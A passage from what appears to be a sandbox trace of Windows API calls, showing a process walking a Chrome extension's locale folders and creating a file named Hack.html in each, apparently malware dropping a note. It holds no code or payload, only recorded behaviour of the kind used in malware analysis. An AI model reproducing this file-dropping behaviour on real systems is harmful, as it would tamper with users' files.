(hFile=0x174) returned 0x1 [0076.019] GetFileType (hFile=0x174) returned 0x1 [0076.020] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl", lpFilePart=0x0) returned 0x92 [0076.020] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\", lpFilePart=0x0) returned 0x93 [0076.020] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.021] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.021] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl", lpFilePart=0x0) returned 0x92 [0076.021] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\", lpFilePart=0x0) returned 0x93 [0076.021] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.021] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.022] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.022] GetFileType (hFile=0x174) returned 0x1 [0076.022] GetFileType (hFile=0x174) returned 0x1 [0076.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl", lpFilePart=0x0) returned 0x92 [0076.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\", lpFilePart=0x0) returned 0x93 [0076.023] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.024] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.025] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl", lpFilePart=0x0) returned 0x92 [0076.025] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\", lpFilePart=0x0) returned 0x93 [0076.025] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.025] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.025] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.026] GetFileType (hFile=0x174) returned 0x1 [0076.026] GetFileType (hFile=0x174) returned 0x1 [0076.027] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt", lpFilePart=0x0) returned 0x92 [0076.027] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\", lpFilePart=0x0) returned 0x93 [0076.027] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.028] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.028] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt", lpFilePart=0x0) returned 0x92 [0076.028] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\", lpFilePart=0x0) returned 0x93 [0076.028] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.028] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.029] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.029] GetFileType (hFile=0x174) returned 0x1 [0076.029] GetFileType (hFile=0x174) returned 0x1 [0076.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x95 [0076.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\", lpFilePart=0x0) returned 0x96 [0076.030] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.031] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x95 [0076.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\", lpFilePart=0x0) returned 0x96 [0076.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.032] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\Hack.html", lpFilePart=0x0) returned 0x9f [0076.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.033] GetFileType (hFile=0x174) returned 0x1 [0076.033] GetFileType (hFile=0x174) returned 0x1 [0076.034] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x95 [0076.034] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\", lpFilePart=0x0) returned 0x96 [0076.034] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.035] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x95 [0076.035] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\", lpFilePart=0x0) returned 0x96 [0076.035] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.035] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.036] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\Hack.html", lpFilePart=0x0) returned 0x9f [0076.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.036] GetFileType (hFile=0x174) returned 0x1 [0076.036] GetFileType (hFile=0x174) returned 0x1 [0076.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro", lpFilePart=0x0) returned 0x92 [0076.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\", lpFilePart=0x0) returned 0x93 [0076.038] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.043] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro", lpFilePart=0x0) returned 0x92 [0076.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\", lpFilePart=0x0) returned 0x93 [0076.043] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.043] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.044] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.044] GetFileType (hFile=0x174) returned 0x1 [0076.044] GetFileType (hFile=0x174) returned 0x1 [0076.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru", lpFilePart=0x0) returned 0x92 [0076.046] 